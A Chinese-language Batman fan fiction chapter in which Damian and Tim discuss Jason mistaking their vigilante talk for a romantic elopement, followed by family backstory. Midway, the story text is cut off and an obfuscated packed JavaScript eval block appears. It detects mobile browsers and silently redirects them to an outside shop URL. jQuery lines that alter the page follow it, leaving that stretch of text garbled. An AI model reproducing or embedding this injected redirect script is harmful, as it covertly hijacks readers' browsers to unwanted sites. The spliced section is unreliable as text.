东翼书房,达米安坐在书桌后面,面前摊着哥谭警局最新的行动报告和晚上的工作报告。他的手指在纸页边缘轻轻敲了两下,然后停下。
“陶德今天又蹲了走廊转角。”
提姆从屏幕后面抬起头,“嗯,和艾格尼斯一起。”
“还有布朗,她也回来了。”达米安补充道,“还蹲在陶德旁边,笑得让人怀疑她的智商。”
提姆的嘴角动了一下。他没有问达米安是怎么知道的——这个家里几乎没有隐私这回事。她们,这里特指卡珊德拉,就是被布鲁斯、达米安以及提姆随着年岁增长日渐强大的控制欲和无处不在的摄像头逼走的。为此她选择了前往香港上学,顺便带走了斯蒂芬妮。
那么,留在家里的几位控制狂该在哪里释放他们的控制欲呢?(笑)
“他听见了。”提姆说,语气平淡得像在陈述天气,“‘今晚你跟我走。’‘好。’,他甚至都能复述你我的对话。”
达米安翻过一页报告,“嗯。”那他总应该明白——
“然后他的第一反应是‘私奔’。”
达米安的手指停住了。
他抬起头,看着提姆。提姆正靠在椅背上,整个人像一滩液体抬头看着天花板上的水晶吊灯,表情介于“无奈”和“好笑”之间。
“他以为我们在私奔。”提姆重复了一遍,像是在确认自己没说错,“这段时间,我们说了‘任务’、‘伤’、‘状态’,他都听见了。”
“我们之前在他面前讨论过供应商、预算、法务部,他也听见了。”
“然后他得出‘私奔’的结论。”
达米安没有接话,但提姆注意到,他翻报告的动作比刚才用力了一点。
“我假设,”提姆继续说,语气里带上了一丝戏谑,“我们的‘明示’已经足够明显。‘夜间活动’、‘任务’、‘伤’——正常人至少会往‘义警’的方向想一想。”
“他不是正常人。”达米安一锤定音。
他现在对家里人的大脑皮层是否有正常褶皱有了深深的疑问。父亲、陶德、布朗,甚至是刚来的巴贝尔,有一个算一个都在出演一场毫无意义的儿童剧,甚至就连他也鬼迷心窍般同意了德雷克愚蠢的“测试”提议,愿意纡尊降贵在陶德面前出演正常人(?)。
提姆却说:“他是。”他认为杰森的想法很正常。
达米安皱眉看了他一眼,似乎对他的大脑结构也有了些疑惑。
提姆耸了耸肩,很宽容地说道:“他只是……思维路径不太一样。他看到的一切都先经过‘CP滤镜’再进入大脑皮层。我们在他眼里不是‘义警搭档’,是‘虐恋主角’。”
小孩子就是富有想象力啊,想当年他也是个跟在蝙蝠侠和蝙蝠小子后面偷偷拍照的普通粉丝,也曾幻想过有一天能和他们一起踹坏蛋们的屁股,直到……
唉,不说了,都是泪啊,偶像滤镜破灭这一块。
“他还给我们的‘虐恋’写了人物小传。”达米安面无表情,“你是‘表面顺从实则坚韧的小可怜’,我是‘不懂爱只会用控制表达关心的恶魔’。”
提姆轻咳了一声。
“……你看了?我以为你不会感兴趣。”
“父亲全部收录在电脑里,想看不到都难。我不知道能有什么保留价值,但他们乐意就行。”达米安的语气没有任何起伏,“‘恶魔的宠儿:他在他掌心里’——标题起得不错,比他后面那些强。”
提姆试图将脸埋进自己的掌心,杯子里的咖啡似乎在嘲笑他。
他端起桌上的咖啡杯猛灌一口,试图掩饰什么,但达米安的视线已经精准地捕获了他脸颊那一抹绯红。
“你居然详细看了。”提姆放下杯子,努力让自己的声音听起来正常,“你不是说‘无聊’吗?”
“是荒谬。”他不觉得他们之间有陶德写得那样轻浮可笑。
达米安没有回答,他低下头,继续翻报告。
但提姆注意到,他翻页的速度明显慢了。
沉默在书房里蔓延了几秒。然后提姆开口,声音里带着一丝连他自己都没察觉的笑意。
“那如果他一直误会下去呢?”
“你觉得呢?”
想也不可能,总归要让他彻底融入这个家。
“他迟早会发现真相的,想想看吧,到时候……”
他顿了顿,嘴角微微翘起。
“到时候会多有趣啊,我已经准备好记录下来以后放给杰森看了。”把柄嘛,什么时候都不嫌多,不然以后集体翻旧账的时候哪来的筹码呢?
达米安没说话。
但他的嘴角,似乎也有一丝极淡的弧度。
门在这时被敲响了。不是那种规矩的、等待回应的敲门,是那种“我已经在推门了顺便敲两下以示礼貌”的敲门。
斯蒂芬妮的脑袋从门缝里探进来,金发在灯光下亮得晃眼。
“嗨!没打扰吧?我可是特意提前回来的,就为了给你们一个惊喜!”
达米安没有说“打扰了”,也没有说“进来”。斯蒂芬妮把这解读为“默许”,笑嘻嘻地挤了进来,在提姆旁边的椅子上坐下。
“你们在聊小杰森?”她问,语气里带着一种“我早就知道了”的得意,“我刚刚从走廊过来,看见他蹲在那盆绿植后面写东西,表情特别陶醉。那个红头发的小甜心坐在旁边,一脸‘我为什么要在这里’的无奈。”
“艾格尼斯。”提姆提醒道。
“对,艾格尼斯。哦,可爱的小家伙,就是眼神太成熟了,看着不像八岁。”斯蒂芬妮摆了摆手,“不过那不是重点。重点是——杰森刚才在笔记本上写什么你们知道吗?”
达米安和提姆都看着她。他们的监控还没办法直接看到杰森写的字,起码要明天才能知道他今天的大作。
斯蒂芬妮清了清嗓子,模仿杰森的语气:“‘达米安说‘今晚你跟我走’时声音压低了0.5个度——那是隐忍的渴望!那是压抑的爱意!’”她说完,自己先笑出了声,“0.5个度!他是怎么听出来的?”
提姆揉了揉眉心,达米安面无表情。
斯蒂芬妮笑够了,擦了擦眼角,然后忽然凑近两人,目光在达米安和提姆之间来回扫了两遍。
“说真的,”她的声音压低了,带着一种“闺蜜夜谈”的八卦感,“你俩真不是有一腿?杰森可一点都没怀疑你们是清白的呢!”
书房的空气忽然安静了。
达米安看着她,那双绿眼睛里没有任何情绪波动。
提姆端起咖啡杯,喝了一口,放下。
“斯蒂芬妮。”提姆说。
“嗯?”
“你今天的训练任务完成了吗?”
斯蒂芬妮的笑容僵了一瞬。
“哦提米,我的好提米,你不能每次我这种开玩笑的问题就用训练来威胁我——”
“我只是关心你的进度。”提姆的微笑无懈可击,“毕竟卡斯上周说过,你的近身格斗还有提升空间。”
达米安“嗯”了一声。
斯蒂芬妮看了看提姆,又看了看达米安,然后“啧”了一声,从椅子上站起来。
“行行行,你们清高,你们正经,真是开不起玩笑的小气鬼!”她往门口走去,走了两步又回头,“但我要说——杰森虽然方向错了,但他观察到的那些细节,真的挺真的。”
她做了个鬼脸,拉开门,蹦蹦跳跳地出去了。
门关上。
走廊里传来她轻快的脚步声,渐渐远去。
书房重新安静下来。
提姆端起咖啡杯,发现已经空了,又放下了。
“她说的……”他开口,又停住了。
达米安没有追问。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454799|201214||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>沉默在房间里啃食空气,然后提姆换了个话题。
“阿福说得对,杰森确实是个好孩子。”他叹了口气,“只是他现在还在找属于自己的位置,需要一点时间融入这个家。”
达米安在那一页报告停留了很久,眼睛里没有上面任何一个数字。
“这是父亲的责任。从当初他不顾你我意见将陶德直接带回来起,他就应该履行家长的职责。”
“只是很可惜,他还是害怕那些存在于其他可能的悲剧,一直在逃避。”
提姆一直没停下的手一顿。
他抬起头,看着达米安。
“逃避吗?我看未必吧。他不是一直在帮杰森融入这个家?别将训练那些东西当做每一个人都会经历的事!我支持他就当一个普通人,以后说不定能去考个文学博士,还能在商学院拿个文凭帮卢修斯的忙。”
,“至于‘责任’的归属,我以为这是你的问题呢。”
达米安的目光从报告上移开,对上提姆的视线。
“虽然是我自己‘愿意’跟你来韦恩庄园——姑且将你的绑架算作我自愿,”提姆说,语气很轻,但每个字都很清晰,“但当初为我的‘抚养权’,你和布鲁斯的争执总归是不合时宜的吧?”
“哪有你这样和父亲抢兄弟的?”
达米安没有反驳。
因为提姆说的是事实。
尚且年轻的布鲁斯刚从魔法影像里看到许多平行世界里的悲剧——杰森的死、达米安的迷失、提姆独自寻找蝙蝠侠的漫长路途……他犹豫了。他犹豫自己的方式是否适合这些孩子,怕名为“蝙蝠侠”的披风会笼罩在所有人的头顶。
所以当提姆的父母让提姆“暂时”住在韦恩庄园时,布鲁斯的第一反应是“让他自己选择”。
达米安的反应则是“让他留下来”。反正德雷克已经跟在他们身后很久了,为什么不能成为他的同伴?
两个人吵了一架,因为达米安直接将人绑进蝙蝠洞替提姆做出了决定。不是那种摔门砸东西的吵架——韦恩父子都不是那样的人,真要打起来也没那么平和。是那种在书房里针锋相对、语气平静但每个字都像刀子的吵,他们都是那种知道怎么用语言狠狠地戳对方弱点的人。
“他不是你的下属,达米安!他是你的兄弟!”
“我知道,我再清楚不过。所以我要保护他,他需要再我身边。”
“保护不是控制,你都没问过他的意见!”
“那你来?你连陶德的悲剧都不愿面对!”
那场争执没有赢家。最后提姆自己做了决定——他留下来了,不是因为达米安的强势,而是因为他觉得这里需要他。
起码需要一个在卡珊德拉越来越不能忍受这个家时安慰她的人,虽然后来的离开仍旧不可避免,但起码卡珊德拉对这个弟弟还是很有好感的,当初也询问过他要不要和她一起逃离这里。
现在好了。布鲁斯自动认为会在抢夺杰森抚养权中落败,直接默认将课业的责任丢给了达米安和提姆,但达米安又觉得布鲁斯会想自己培养杰森,于是只能提姆来暂时安排。
“所以,”提姆打破了沉默,“你现在打算怎么办?”
达米安合上压根看不进去的报告,靠在椅背上。
“等他。”
“等他自己发现?”
“嗯,算是给他的考验。”看他是否具有一个合格侦探的潜质。
“万一他一直发现不了呢?”
“那就给他点更加明显的提示。”
“行吧,都到这个份上,是得他一点小小的哥、谭、震、撼。”
最后几个字他咬地很重。
达米安看着提姆脸上不怀好意的笑,他知道这只鸭子也带了点对他的不满,难免迁怒,莫名对杰森升起一点同情和愧疚。
不过陶德,这是你应得的。